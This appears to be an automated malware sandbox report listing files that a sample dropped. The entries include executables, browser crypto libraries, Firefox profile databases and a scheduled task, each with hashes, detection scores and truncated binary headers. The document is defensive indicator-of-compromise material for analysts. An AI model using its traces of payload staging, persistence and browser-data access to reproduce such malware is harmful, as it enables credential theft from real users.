Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792512
Entropy (8bit):	7.944414315072448
Encrypted:	false
SSDEEP:	49152:unFrCF8dgRk2u1n7SIKu14X8+9b3JyTqRgi3:unSWBJ51SjJ/
MD5:	3D8FD510F87BB030174FCCCCB5AD853A
SHA1:	CEA55FD0DA2EC6E86441F46AF6BD1F2959AA4A16
SHA-256:	E442940AFA41E32DD14E913B6820B5A0150BFACD17AE8F097F8FA5AE7CB0176E
SHA-512:	41825DEBECCD5DA671273A20BE606FB3774F96FC6DF12DE8C8447E65704D04686CBECF80654E49D744E6CCEFEAF7965A4D75A878B2C5B4181112AB1B51614C5F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......h...........@...........................h.....F.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .0*...$......t..............@...oxdvgcpf......N......v..............@...bxdexzeo......h......4..............@....taggant.0....h.."...8..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4342784
Entropy (8bit):	7.985904485939821
Encrypted:	false
SSDEEP:	98304:YnBr6A28k20cG5HBJZJYg/VUk9NgLI8qnK:c2c0T5RJYg/ekALI8qnK
MD5:	86D624FECB21CD16F980AFF2ED50776B
SHA1:	8833517A3F467852BFF80E3D689BD3D45B773895
SHA-256:	3533BA63D5277E31A865E9BFF3358AF0472EF1008C7F3BA7BA7559496B38F036
SHA-512:	6773390BA4438C5E9A83426C2619E3E1B4A8FD740BC04AEE991BFA02F50D4C80F78C4D61B4A7559979355D273A6597632788C23C09B059E2E24BB6EB4BAC07A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r..g...............(..H...i..2...`....... H...@...................................C...@... ............................._.f.s...........................PO...............................O...................................................... . .pf......h'.................@....rsrc ......f......x'.............@....idata ......f......x'.............@... ..7...f......z'.............@...tshfwepr.............\|'.............@...lfotsxrf.....P........B.............@....taggant.0...`..."..."B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3144704
Entropy (8bit):	6.603892232748783
Encrypted:	false
SSDEEP:	49152:WEA3ZyvvOrhKxj2bASuMD5vOIr09M1ofoFh4xuvZE7Ucnz:YZyehKxj2bASuMD5vO20K1Moius
MD5:	E47A5C8C0AB719A7631D0E1D599C5ED3
SHA1:	7EC59CEFACB142284EB2AC1ADCB55CB2A9E57DC0
SHA-256:	E50B7CB60DC29E013FCFE25F9EA32F1FDBFC2298894083E2AE873619C0F9937F
SHA-512:	0AC86F922AF66414050F1EEB840D6B203DAB722F3B6DE4CCCC490FF0A7687F46AF18EBFA06BADB7479DCAACA0FFBBF88D98129C45F4B442FCAFE89D310C95BB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................00...... 0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...yyfmebrr.@......@.................@...adaaxhow....../......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.360519171283193
Encrypted:	false
SSDEEP:	48:SfNaoQXuOTEQXiFfNaoQ9RjRiQ9RVfNaoQgdxX6x1QgdxrfNaoQv6xp0UrU0U8Qa:6NnQlTEQGNnQTNiQTBNnQg/XU1Qg/DNz
MD5:	6F183D97608DC94A133D7D7E47EBE6DC
SHA1:	899CDC5621E8B75F274F64B4B94DD8E8EDB2E04F
SHA-256:	E5D92F394314F7D3B902672E60E96F9BF06B1BBC43E0BF73C7352815D49E18CE
SHA-512:	1A54F175580E91C91F5E2749EDD955676B60BF5500D546B04F370F1956C6A52C47A0789C26629BF50D085E668F10AEBBDC7BAF5AC3488B9DAE40F46B341C177E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A0F7892D2F0420EB95AE86F2AD5B5D5C",.. "id": "A0F7892D2F0420EB95AE86F2AD5B5D5C",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A0F7892D2F0420EB95AE86F2AD5B5D5C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E3526024653B9DE28BB4E08D4BEE3C04",.. "id": "E3526024653B9DE28BB4E08D4BEE3C04",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E3526024653B9DE28BB4E08D4BEE3C04"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2739712
Entropy (8bit):	6.4974166357946155
Encrypted:	false
SSDEEP:	49152:keRfX59vxKwl+uUqhvM2G8JgbZ1VeCv7C:ke5X59vxKwl+TqZZGFbV37
MD5:	57836E781F269AE53641D17A59DD5484
SHA1:	94DA028E897DD984A277654DE1457356ACFC7A78
SHA-256:	D9995DB6C6D19520557C2689DC87959D296095922DA94B52A1E6BA32C8D6CD69
SHA-512:	F36DC7404A997987A075264AC67192A54362FC9E238485E954FBAAEFFCA04F17EBDF3409DC158929A7399E193815B797C95F645ED46C70E7C1E1BEE6962B0B68
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. ...............................)...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bmdxulvp..)......n)..:..............@...yclwwlhy. ... .......).............@....taggant.@...@.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4342784
Entropy (8bit):	7.985904485939821
Encrypted:	false
SSDEEP:	98304:YnBr6A28k20cG5HBJZJYg/VUk9NgLI8qnK:c2c0T5RJYg/ekALI8qnK
MD5:	86D624FECB21CD16F980AFF2ED50776B
SHA1:	8833517A3F467852BFF80E3D689BD3D45B773895
SHA-256:	3533BA63D5277E31A865E9BFF3358AF0472EF1008C7F3BA7BA7559496B38F036
SHA-512:	6773390BA4438C5E9A83426C2619E3E1B4A8FD740BC04AEE991BFA02F50D4C80F78C4D61B4A7559979355D273A6597632788C23C09B059E2E24BB6EB4BAC07A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r..g...............(..H...i..2...`....... H...@...................................C...@... ............................._.f.s...........................PO...............................O...................................................... . .pf......h'.................@....rsrc ......f......x'.............@....idata ......f......x'.............@... ..7...f......z'.............@...tshfwepr.............\|'.............@...lfotsxrf.....P........B.............@....taggant.0...`..."..."B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3144704
Entropy (8bit):	6.603892232748783
Encrypted:	false
SSDEEP:	49152:WEA3ZyvvOrhKxj2bASuMD5vOIr09M1ofoFh4xuvZE7Ucnz:YZyehKxj2bASuMD5vO20K1Moius
MD5:	E47A5C8C0AB719A7631D0E1D599C5ED3
SHA1:	7EC59CEFACB142284EB2AC1ADCB55CB2A9E57DC0
SHA-256:	E50B7CB60DC29E013FCFE25F9EA32F1FDBFC2298894083E2AE873619C0F9937F
SHA-512:	0AC86F922AF66414050F1EEB840D6B203DAB722F3B6DE4CCCC490FF0A7687F46AF18EBFA06BADB7479DCAACA0FFBBF88D98129C45F4B442FCAFE89D310C95BB1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................00...... 0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...yyfmebrr.@......@.................@...adaaxhow....../......./.............@....taggant.0....0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1792512
Entropy (8bit):	7.944414315072448
Encrypted:	false
SSDEEP:	49152:unFrCF8dgRk2u1n7SIKu14X8+9b3JyTqRgi3:unSWBJ51SjJ/
MD5:	3D8FD510F87BB030174FCCCCB5AD853A
SHA1:	CEA55FD0DA2EC6E86441F46AF6BD1F2959AA4A16
SHA-256:	E442940AFA41E32DD14E913B6820B5A0150BFACD17AE8F097F8FA5AE7CB0176E
SHA-512:	41825DEBECCD5DA671273A20BE606FB3774F96FC6DF12DE8C8447E65704D04686CBECF80654E49D744E6CCEFEAF7965A4D75A878B2C5B4181112AB1B51614C5F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......h...........@...........................h.....F.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .0*...$......t..............@...oxdvgcpf......N......v..............@...bxdexzeo......h......4..............@....taggant.0....h.."...8..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2739712
Entropy (8bit):	6.4974166357946155
Encrypted:	false
SSDEEP:	49152:keRfX59vxKwl+uUqhvM2G8JgbZ1VeCv7C:ke5X59vxKwl+TqZZGFbV37
MD5:	57836E781F269AE53641D17A59DD5484
SHA1:	94DA028E897DD984A277654DE1457356ACFC7A78
SHA-256:	D9995DB6C6D19520557C2689DC87959D296095922DA94B52A1E6BA32C8D6CD69
SHA-512:	F36DC7404A997987A075264AC67192A54362FC9E238485E954FBAAEFFCA04F17EBDF3409DC158929A7399E193815B797C95F645ED46C70E7C1E1BEE6962B0B68
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. ...............................)...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bmdxulvp..)......n)..:..............@...yclwwlhy. ... .......).............@....taggant.@...@.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsDGCFHIDAKE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3265024
Entropy (8bit):	6.641887492444837
Encrypted:	false
SSDEEP:	49152:Py626KvqHatonKw4U9w+xQOTdm2D7zVaDqlagaC0:NKvqHat+Kwr9w+TRm4ZY630
MD5:	88505AD4161E0D9D694C97E8515321BE
SHA1:	779E5406FAD49DB18B9618E32FABD7320DB652E0
SHA-256:	29F37714C2FA9CAC7AAEF7E1745183B0D3ED8A7ED4BD4FDF8BDED1DFAFACC3E3
SHA-512:	7499F2B3136F1D393285B28365F4706A51CBE9C892F12C82E672B36AA67CEC0DA055CCB07AE14993455250237055595221EAB65A6C8F7018D691222F6916A66B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................2......2...@.................................W...k...........................L.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...doumoevv. +.......+.................@...glhzrtfc......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDGCFHIDAKE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3265024
Entropy (8bit):	6.641887492444837
Encrypted:	false
SSDEEP:	49152:Py626KvqHatonKw4U9w+xQOTdm2D7zVaDqlagaC0:NKvqHat+Kwr9w+TRm4ZY630
MD5:	88505AD4161E0D9D694C97E8515321BE
SHA1:	779E5406FAD49DB18B9618E32FABD7320DB652E0
SHA-256:	29F37714C2FA9CAC7AAEF7E1745183B0D3ED8A7ED4BD4FDF8BDED1DFAFACC3E3
SHA-512:	7499F2B3136F1D393285B28365F4706A51CBE9C892F12C82E672B36AA67CEC0DA055CCB07AE14993455250237055595221EAB65A6C8F7018D691222F6916A66B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................2......2...@.................................W...k...........................L.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...doumoevv. +.......+.................@...glhzrtfc......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDGCFHIDAKE.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4083010344720677
Encrypted:	false
SSDEEP:	6:q2eXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBvlM1ut0:HMf2RKQ1CGAFAjzvYRQVBvu1ut0
MD5:	2C2AD4442C2C89C9AA6F409AB2606A68
SHA1:	E47A5AA7DB71DB4C21D81FB820FA09B142712703
SHA-256:	C17EB4FFBF40EE5D5EC876C7F5CDD606CAC76C702ACB3CEEBC413AC41B98673F
SHA-512:	29260CAF513A4AE8304E08C780BE87DDF13120D3AD2DA975448E3ACA7A5410BCFF0DA19BB5C8A345CA7A86DE545E9992BA7D9B81AF1361F57811B973DD8A9552
Malicious:	false
Preview:	.......)XqIF.b,;...F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................-.@3P.........................

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (806)
Category:	downloaded
Size (bytes):	811
Entropy (8bit):	5.126844469074086
Encrypted:	false
SSDEEP:	24:0jHHblRXBHslgT9lCuABuK7HHHHHHHYqmffffffV+:YHHBRXKlgZ01BuKEqmffffffV+
MD5:	6240AF1FC278D863ED30BF19DDF9932A
SHA1:	3F66415CCFD48E26E2B750C258685DAA1ADB744E
SHA-256:	841DF10788512D720132D17A8970431A0ABE0AA3234ED15A371029220A98EFF2
